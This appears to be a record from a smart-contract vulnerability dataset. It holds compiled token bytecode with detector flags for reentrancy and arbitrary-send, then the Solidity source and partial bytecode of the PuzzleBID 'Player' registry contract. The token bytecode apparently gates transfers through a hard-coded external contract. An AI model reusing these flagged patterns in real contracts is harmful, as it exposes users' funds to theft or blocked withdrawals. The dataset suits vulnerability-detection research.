6f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b60008111610c6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047e565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610cb457600080fd5b505afa158015610cc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cec919061184b565b600c546001600160a01b038481169116148015610d175750600b546001600160a01b03858116911614155b610d22576000610d24565b815b1115610d2f57600080fd5b6000546001600160a01b03848116911614801590610d5b57506000546001600160a01b03838116911614155b15610e7d57600c546001600160a01b038481169116148015610d8b5750600b546001600160a01b03838116911614155b8015610db057506001600160a01b03821660009081526004602052604090205460ff16155b15610e0657600a548110610e065760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161047e565b6000610e11306108b8565b600c54909150600160a81b900460ff16158015610e3c5750600c546001600160a01b03858116911614155b8015610e515750600c54600160b01b900460ff165b15610e7b57610e5f81610ec7565b47670de0b6b3a7640000811115610e7957610e79476110cd565b505b505b610e88838383611139565b505050565b60008184841115610eb15760405162461bcd60e51b815260040161047e9190611570565b506000610ebe8486611864565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0f57610f0f61187b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f6357600080fd5b505afa158015610f77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9b91906117de565b81600181518110610fae57610fae61187b565b6001600160a01b039283166020918202929092010152600b54610fd49130911684610a1e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061100d908590600090869030904290600401611891565b600060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110b75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047e565b60006110c1611144565b9050610a1783826109d5565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611107573d6000803e3d6000fd5b5050565b6000818361112c5760405162461bcd60e51b815260040161047e9190611570565b506000610ebe8486611902565b610e88838383611167565b600080600061115161125e565b909250905061116082826109d5565b9250505090565b600080600080600080611179876112e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ab908761133d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111da908661137f565b6001600160a01b0389166000908152600260205260409020556111fc816113de565b6112068483611428565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124b91815260200190565b60405180910390a3505050505050505050565b6005546000908190816112736006600a6117b0565b6112819063891737006117bf565b90506112a96112926006600a6117b0565b6112a09063891737006117bf565b600554906109d5565b8210156112d7576005546112bf6006600a6117b0565b6112cd9063891737006117bf565b9350935050509091565b90939092509050565b60008060008060008060008060006112fd8a60075460085461144c565b925092509250600061130d611144565b905060008060006113208e8787876114a1565b919e509c509a509598509396509194505050505091939550919395565b6000610a1783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e8d565b60008061138c8385611924565b905083811015610a175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b60006113e8611144565b905060006113f683836114f1565b30600090815260026020526040902054909150611413908261137f565b30600090815260026020526040902055505050565b600554611435908361133d565b600555600654611445908261137f565b6006555050565b6000808080611466606461146089896114f1565b906109d5565b9050600061147960646114608a896114f1565b905060006114918261148b8b8661133d565b9061133d565b9992985090965090945050505050565b60008080806114b088866114f1565b905060006114be88876114f1565b905060006114cc88886114f1565b905060006114de8261148b868661133d565b939b939a50919850919650505050505050565b60008261150057506000610381565b600061150c83856117bf565b9050826115198583611902565b14610a175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b600060208083528351808285015260005b8181101561159d57858101830151858201604001528201611581565b818111156115af576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107d157600080fd5b600080604083850312156115ed57600080fd5b82356115f8816115c5565b946020939093013593505050565b60008060006060848603121561161b57600080fd5b8335611626816115c5565b92506020840135611636816115c5565b929592945050506040919091013590565b60006020828403121561165957600080fd5b8135610a17816115c5565b60006020828403121561167657600080fd5b5035919050565b6000806040838503121561169057600080fd5b823561169b816115c5565b915060208301356116ab816115c5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117075781600019048211156116ed576116ed6116b6565b808516156116fa57918102915b93841c93908002906116d1565b509250929050565b60008261171e57506001610381565b8161172b57506000610381565b8160018114611741576002811461174b57611767565b6001915050610381565b60ff84111561175c5761175c6116b6565b50506001821b610381565b5060208310610133831016604e8410600b841016171561178a575081810a610381565b61179483836116cc565b80600019048211156117a8576117a86116b6565b029392505050565b6000610a1760ff84168361170f565b60008160001904831182151516156117d9576117d96116b6565b500290565b6000602082840312156117f057600080fd5b8151610a17816115c5565b60008060006060848603121561181057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561183b57600080fd5b81518015158114610a1757600080fd5b60006020828403121561185d57600080fd5b5051919050565b600082821015611876576118766116b6565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e15784516001600160a01b0316835293830193918301916001016118bc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261191f57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611937576119376116b6565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e3308365c85ef3bd2c4b39d4e5a7bcf3a576321c5fdadb2ddc8200fff0399c164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,611
0xdf1df98305b058d1cfb5978c1884550736a6709e
pragma solidity ^0.5.0; interface TeamInterface { function isOwner() external view returns (bool); function isAdmin(address _sender) external view returns (bool); function isDev(address _sender) external view returns (bool); } interface WorksInterface { function addWorks( bytes32 _worksID, bytes32 _artistID, uint8 _debrisNum, uint256 _price, uint256 _beginTime ) external; function configRule( bytes32 _worksID, uint8 _firstBuyLimit, uint256 _freezeGap, uint256 _protectGap, uint256 _increaseRatio, uint256 _discountGap, uint256 _discountRatio, uint8[3] calldata _firstAllot, uint8[3] calldata _againAllot, uint8[3] calldata _lastAllot ) external; function publish(bytes32 _worksID, uint256 _beginTime) external; function close(bytes32 _worksID) external; function getWorks(bytes32 _worksID) external view returns (uint8, uint256, uint256, uint256, bool); function getDebris(bytes32 _worksID, uint8 _debrisID) external view returns (uint256, address, address, bytes32, bytes32, uint256); function getRule(bytes32 _worksID) external view returns (uint8, uint256, uint256, uint256, uint256, uint256, uint8[3] memory, uint8[3] memory, uint8[3] memory); function hasWorks(bytes32 _worksID) external view returns (bool); function hasDebris(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isPublish(bytes32 _worksID) external view returns (bool); function isStart(bytes32 _worksID) external view returns (bool); function isProtect(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isSecond(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isGameOver(bytes32 _worksID) external view returns (bool); function isFinish(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function hasFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function hasSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function getFirstUnionIds(bytes32 _worksID) external view returns (bytes32[] memory); function getSecondUnionIds(bytes32 _worksID) external view returns (bytes32[] memory); function getPrice(bytes32 _worksID) external view returns (uint256); function getDebrisPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getDebrisStatus(bytes32 _worksID, uint8 _debrisID) external view returns (uint256[4] memory, uint256, bytes32); function getInitPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getLastPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getLastBuyer(bytes32 _worksID, uint8 _debrisID) external view returns (address payable); function getLastUnionId(bytes32 _worksID, uint8 _debrisID) external view returns (bytes32); function getFreezeGap(bytes32 _worksID) external view returns (uint256); function getFirstBuyLimit(bytes32 _worksID) external view returns (uint256); function getArtistId(bytes32 _worksID) external view returns (bytes32); function getDebrisNum(bytes32 _worksID) external view returns (uint8); function getAllot(bytes32 _worksID, uint8 _flag) external view returns (uint8[3] memory); function getAllot(bytes32 _worksID, uint8 _flag, uint8 _element) external view returns (uint8); function getPools(bytes32 _worksID) external view returns (uint256); function getPoolsAllot(bytes32 _worksID) external view returns (uint256, uint256[3] memory, uint8[3] memory); function getStartHourglass(bytes32 _worksID) external view returns (uint256); function getWorksStatus(bytes32 _worksID) external view returns (uint256, uint256, uint256, bytes32); function getProtectHourglass(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getDiscountHourglass(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function updateDebris(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address _sender) external; function updateFirstBuyer(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address _sender) external; function updateBuyNum(bytes32 _worksID, uint8 _debrisID) external; function finish(bytes32 _worksID, bytes32 _unionID) external; function updatePools(bytes32 _worksID, uint256 _value) external; function updateFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external; function updateSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library Datasets { struct Player { address[] ethAddress; bytes32 referrer; address payable lastAddress; uint256 time; } struct MyWorks { address ethAddress; bytes32 worksID; uint256 totalInput; uint256 totalOutput; uint256 time; } struct Works { bytes32 worksID; bytes32 artistID; uint8 debrisNum; uint256 price; uint256 beginTime; uint256 endTime; bool isPublish; bytes32 lastUnionID; } struct Debris { uint8 debrisID; bytes32 worksID; uint256 initPrice; uint256 lastPrice; uint256 buyNum; address payable firstBuyer; address payable lastBuyer; bytes32 firstUnionID; bytes32 lastUnionID; uint256 lastTime; } struct Rule { uint8 firstBuyLimit; uint256 freezeGap; uint256 protectGap; uint256 increaseRatio; uint256 discountGap; uint256 discountRatio; uint8[3] firstAllot; uint8[3] againAllot; uint8[3] lastAllot; } struct PlayerCount { uint256 lastTime; uint256 firstBuyNum; uint256 firstAmount; uint256 secondAmount; uint256 rewardAmount; } } /** * @title Player Contract * @dev http://www.puzzlebid.com/ * @author PuzzleBID Game Team * @dev Simon<vsiryxm@163.com> */ contract Player { using SafeMath for *; TeamInterface private team; WorksInterface private works; constructor(address _teamAddress, address _worksAddress) public { require(_teamAddress != address(0) && _worksAddress != address(0)); team = TeamInterface(_teamAddress); works = WorksInterface(_worksAddress); } function() external payable { revert(); } event OnUpgrade(address indexed _teamAddress, address indexed _worksAddress); event OnRegister( address indexed _address, bytes32 _unionID, bytes32 _referrer, uint256 time ); event OnUpdateLastAddress(bytes32 _unionID, address indexed _sender); event OnUpdateLastTime(bytes32 _unionID, bytes32 _worksID, uint256 _time); event OnUpdateFirstBuyNum(bytes32 _unionID, bytes32 _worksID, uint256 _firstBuyNum); event OnUpdateSecondAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount); event OnUpdateFirstAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount); event OnUpdateReinvest(bytes32 _unionID, bytes32 _worksID, uint256 _amount); event OnUpdateRewardAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount); event OnUpdateMyWorks( bytes32 _unionID, address indexed _address, bytes32 _worksID, uint256 _totalInput, uint256 _totalOutput, uint256 _time ); mapping(bytes32 => Datasets.Player) private playersByUnionId; mapping(address => bytes32) private playersByAddress; address[] private playerAddressSets; bytes32[] private playersUnionIdSets; mapping(bytes32 => mapping(bytes32 => Datasets.PlayerCount)) playerCount; mapping(bytes32 => mapping(bytes32 => Datasets.MyWorks)) myworks; modifier onlyAdmin() { require(team.isAdmin(msg.sender)); _; } modifier onlyDev() { require(team.isDev(msg.sender)); _; } function upgrade(address _teamAddress, address _worksAddress) external onlyAdmin() { require(_teamAddress != address(0) && _worksAddress != address(0)); team = TeamInterface(_teamAddress); works = WorksInterface(_worksAddress); emit OnUpgrade(_teamAddress, _worksAddress); } function hasAddress(address _address) external view returns (bool) { bool has = false; for(uint256 i=0; i<playerAddressSets.length; i++) { if(playerAddressSets[i] == _address) { has = true; break; } } return has; } function hasUnionId(bytes32 _unionID) external view returns (bool) { bool has = false; for(uint256 i=0; i<playersUnionIdSets.length; i++) { if(playersUnionIdSets[i] == _unionID) { has = true; break; } } return has; } function getInfoByUnionId(bytes32 _unionID) external view returns (address payable, bytes32, uint256) { return ( playersByUnionId[_unionID].lastAddress, playersByUnionId[_unionID].referrer, playersByUnionId[_unionID].time ); } function getUnionIdByAddress(address _address) external view returns (bytes32) { return playersByAddress[_address]; } function isFreeze(bytes32 _unionID, bytes32 _worksID) external view returns (bool) { uint256 freezeGap = works.getFreezeGap(_worksID); return playerCount[_unionID][_worksID].lastTime.add(freezeGap) < now ? false : true; } function getFirstBuyNum(bytes32 _unionID, bytes32 _worksID) external view returns (uint256) { return playerCount[_unionID][_worksID].firstBuyNum; } function getSecondAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256) { return playerCount[_unionID][_worksID].secondAmount; } function getFirstAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256) { return playerCount[_unionID][_worksID].firstAmount; } function getLastAddress(bytes32 _unionID) external view returns (address payable) { return playersByUnionId[_unionID].lastAddress; } function getRewardAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256) { return playerCount[_unionID][_worksID].rewardAmount; } function getFreezeHourglass(bytes32 _unionID, bytes32 _worksID) external view returns(uint256) { uint256 freezeGap = works.getFreezeGap(_worksID); if(playerCount[_unionID][_worksID].lastTime.add(freezeGap) > now) { return playerCount[_unionID][_worksID].lastTime.add(freezeGap).sub(now); } return 0; } function getMyReport(bytes32 _unionID, bytes32 _worksID) external view returns (uint256, uint256, uint256) { uint256 currInput = 0; uint256 currOutput = 0; uint256 currFinishReward = 0; uint8 lastAllot = works.getAllot(_worksID, 2, 0); currInput = this.getFirstAmount(_unionID, _worksID).add(this.getSecondAmount(_unionID, _worksID)); currOutput = this.getRewardAmount(_unionID, _worksID); currFinishReward = this.getRewardAmount(_unionID, _worksID).add(works.getPools(_worksID).mul(lastAllot) / 100); return (currInput, currOutput, currFinishReward); } function getMyStatus(bytes32 _unionID, bytes32 _worksID) external view returns (uint256, uint256, uint256, uint256, uint256) { return ( playerCount[_unionID][_worksID].lastTime, works.getFreezeGap(_worksID), now, playerCount[_unionID][_worksID].firstBuyNum, works.getFirstBuyLimit(_worksID) ); } function getMyWorks(bytes32 _unionID, bytes32 _worksID) external view returns (address, bytes32, uint256, uint256, uint256) { return ( myworks[_unionID][_worksID].ethAddress, myworks[_unionID][_worksID].worksID, myworks[_unionID][_worksID].totalInput, myworks[_unionID][_worksID].totalOutput, myworks[_unionID][_worksID].time ); } function isLegalPlayer(bytes32 _unionID, address _address) external view returns (bool) { return (this.hasUnionId(_unionID) || this.hasAddress(_address)) && playersByAddress[_address] == _unionID; } function register(bytes32 _unionID, address payable _address, bytes32 _worksID, bytes32 _referrer) external onlyDev() returns (bool) { require(_unionID != bytes32(0) && _address != address(0) && _worksID != bytes32(0)); if(this.hasAddress(_address)) { if(playersByAddress[_address] != _unionID) { revert(); } else { return true; } } playersByUnionId[_unionID].ethAddress.push(_address); if(_referrer != bytes32(0)) { playersByUnionId[_unionID].referrer = _referrer; } playersByUnionId[_unionID].lastAddress = _address; playersByUnionId[_unionID].time = now; playersByAddress[_address] = _unionID; playerAddressSets.push(_address); if(this.hasUnionId(_unionID) == false) { playersUnionIdSets.push(_unionID); playerCount[_unionID][_worksID] = Datasets.PlayerCount(0, 0, 0, 0, 0); } emit OnRegister(_address, _unionID, _referrer, now); return true; } function updateLastAddress(bytes32 _unionID, address payable _sender) external onlyDev() { if(playersByUnionId[_unionID].lastAddress != _sender) { playersByUnionId[_unionID].lastAddress = _sender; emit OnUpdateLastAddress(_unionID, _sender); } } function updateLastTime(bytes32 _unionID, bytes32 _worksID) external onlyDev() { playerCount[_unionID][_worksID].lastTime = now; emit OnUpdateLastTime(_unionID, _worksID, now); } function updateFirstBuyNum(bytes32 _unionID, bytes32 _worksID) external onlyDev() { playerCount[_unionID][_worksID].firstBuyNum = playerCount[_unionID][_worksID].firstBuyNum.add(1); emit OnUpdateFirstBuyNum(_unionID, _worksID, playerCount[_unionID][_worksID].firstBuyNum); } function updateSecondAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external onlyDev() { playerCount[_unionID][_worksID].secondAmount = playerCount[_unionID][_worksID].secondAmount.add(_amount); emit OnUpdateSecondAmount(_unionID, _worksID, _amount); } function updateFirstAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external onlyDev() { playerCount[_unionID][_worksID].firstAmount = playerCount[_unionID][_worksID].firstAmount.add(_amount); emit OnUpdateFirstAmount(_unionID, _worksID, _amount); } function updateRewardAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external onlyDev() { playerCount[_unionID][_worksID].rewardAmount = playerCount[_unionID][_worksID].rewardAmount.add(_amount); emit OnUpdateRewardAmount(_unionID, _worksID, _amount); } function updateMyWorks( bytes32 _unionID, address _address, bytes32 _worksID, uint256 _totalInput, uint256 _totalOutput ) external onlyDev() { myworks[_unionID][_worksID] = Datasets.MyWorks(_address, _worksID, _totalInput, _totalOutput, now); emit OnUpdateMyWorks(_unionID, _address, _worksID, _totalInput, _totalOutput, now); } }
0x608060405260043610610168576000357c01000000000000000000000000000000000000000000000000000000009004806386e261c9116100d3578063a68cfb251161008c578063a68cfb2514610837578063b2c15f2914610890578063b82fedbb146108d5578063d20ae2b51461095c578063f1100daa146109fd578063ff70617014610a7657610168565b806386e261c9146105df57806396b1e4d41461062e57806399a88ec41461068b5780639a2392b2146106fc5780639d8c997b14610755578063a67fc3fa146107de57610168565b806355302ebd1161012557806355302ebd146103915780635bc4cea9146103e45780635e7d4f101461043f57806362838d8b146104b2578063659e07291461052d57806379c841001461058657610168565b806306f68f121461016d5780630dcf157f146101b25780631fb97c34146102175780632f46b3cc1461026657806341d5da6b146102cd5780634be42c0814610342575b600080fd5b34801561017957600080fd5b506101b06004803603604081101561019057600080fd5b810190808035906020019092919080359060200190929190505050610adf565b005b3480156101be57600080fd5b50610201600480360360208110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb6565b6040518082815260200191505060405180910390f35b34801561022357600080fd5b506102646004803603606081101561023a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610cff565b005b34801561027257600080fd5b506102a96004803603604081101561028957600080fd5b810190808035906020019092919080359060200190929190505050610eb0565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156102d957600080fd5b50610310600480360360408110156102f057600080fd5b810190808035906020019092919080359060200190929190505050611391565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b34801561034e57600080fd5b5061038f6004803603606081101561036557600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611592565b005b34801561039d57600080fd5b506103ca600480360360208110156103b457600080fd5b8101908080359060200190929190505050611743565b604051808215151515815260200191505060405180910390f35b3480156103f057600080fd5b5061043d6004803603604081101561040757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179e565b005b34801561044b57600080fd5b506104986004803603604081101561046257600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b1565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050611b88565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053957600080fd5b506105706004803603604081101561055057600080fd5b810190808035906020019092919080359060200190929190505050611bc8565b6040518082815260200191505060405180910390f35b34801561059257600080fd5b506105c9600480360360408110156105a957600080fd5b810190808035906020019092919080359060200190929190505050611bfa565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b5061062c6004803603606081101561060257600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611d6a565b005b34801561063a57600080fd5b506106716004803603604081101561065157600080fd5b810190808035906020019092919080359060200190929190505050611f1b565b604051808215151515815260200191505060405180910390f35b34801561069757600080fd5b506106fa600480360360408110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061203d565b005b34801561070857600080fd5b5061073f6004803603604081101561071f57600080fd5b810190808035906020019092919080359060200190929190505050612291565b6040518082815260200191505060405180910390f35b34801561076157600080fd5b5061078e6004803603602081101561077857600080fd5b81019080803590602001909291905050506122c3565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156107ea57600080fd5b506108216004803603604081101561080157600080fd5b81019080803590602001909291908035906020019092919050505061233a565b6040518082815260200191505060405180910390f35b34801561084357600080fd5b5061087a6004803603604081101561085a57600080fd5b81019080803590602001909291908035906020019092919050505061236c565b6040518082815260200191505060405180910390f35b34801561089c57600080fd5b506108d3600480360360408110156108b357600080fd5b81019080803590602001909291908035906020019092919050505061239e565b005b3480156108e157600080fd5b50610942600480360360808110156108f857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612515565b604051808215151515815260200191505060405180910390f35b34801561096857600080fd5b5061099f6004803603604081101561097f57600080fd5b810190808035906020019092919080359060200190929190505050612b31565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610a0957600080fd5b50610a74600480360360a0811015610a2057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050612c35565b005b348015610a8257600080fd5b50610ac560048036036020811015610a9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e7e565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b9957600080fd5b505afa158015610bad573d6000803e3d6000fd5b505050506040513d6020811015610bc357600080fd5b81019080805190602001909291905050501515610bdf57600080fd5b610c1a600160066000858152602001908152602001600020600084815260200190815260200160002060010154612f2590919063ffffffff16565b600660008481526020019081526020016000206000838152602001908152602001600020600101819055507e53ea994c1fd86af774625d9c3cc415b63335865c2dfa343ce4b09de9b33e4082826006600086815260200190815260200160002060008581526020019081526020016000206001015460405180848152602001838152602001828152602001935050505060405180910390a15050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610db957600080fd5b505afa158015610dcd573d6000803e3d6000fd5b505050506040513d6020811015610de357600080fd5b81019080805190602001909291905050501515610dff57600080fd5b610e398160066000868152602001908152602001600020600085815260200190815260200160002060020154612f2590919063ffffffff16565b600660008581526020019081526020016000206000848152602001908152602001600020600201819055507f82efd2dbce98e35126864c00d1d9e7097066201632c00cda94658a253075918e83838360405180848152602001838152602001828152602001935050505060405180910390a1505050565b60008060008060009050600080905060008090506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fee14ae89600260006040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1681526020018260ff168152602001935050505060206040518083038186803b158015610f6d57600080fd5b505afa158015610f81573d6000803e3d6000fd5b505050506040513d6020811015610f9757600080fd5b8101908080519060200190929190505050905061111b3073ffffffffffffffffffffffffffffffffffffffff1663a68cfb258b8b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b81019080805190602001909291905050503073ffffffffffffffffffffffffffffffffffffffff1663659e07298c8c6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d60208110156110fc57600080fd5b8101908080519060200190929190505050612f2590919063ffffffff16565b93503073ffffffffffffffffffffffffffffffffffffffff1663a67fc3fa8a8a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561119257600080fd5b505afa1580156111a6573d6000803e3d6000fd5b505050506040513d60208110156111bc57600080fd5b8101908080519060200190929190505050925061137b60646112b38360ff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa4a6a68d6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561126a57600080fd5b505afa15801561127e573d6000803e3d6000fd5b505050506040513d602081101561129457600080fd5b8101908080519060200190929190505050612fad90919063ffffffff16565b8115156112bc57fe5b043073ffffffffffffffffffffffffffffffffffffffff1663a67fc3fa8c8c6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b8101908080519060200190929190505050612f2590919063ffffffff16565b9150838383965096509650505050509250925092565b600080600080600060066000888152602001908152602001600020600087815260200190815260200160002060000154600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d52f74b886040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561145057600080fd5b505afa158015611464573d6000803e3d6000fd5b505050506040513d602081101561147a57600080fd5b810190808051906020019092919050505042600660008b815260200190815260200160002060008a815260200190815260200160002060010154600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c2699b1d8b6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561154357600080fd5b505afa158015611557573d6000803e3d6000fd5b505050506040513d602081101561156d57600080fd5b8101908080519060200190929190505050945094509450945094509295509295909350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d602081101561167657600080fd5b8101908080519060200190929190505050151561169257600080fd5b6116cc8160066000868152602001908152602001600020600085815260200190815260200160002060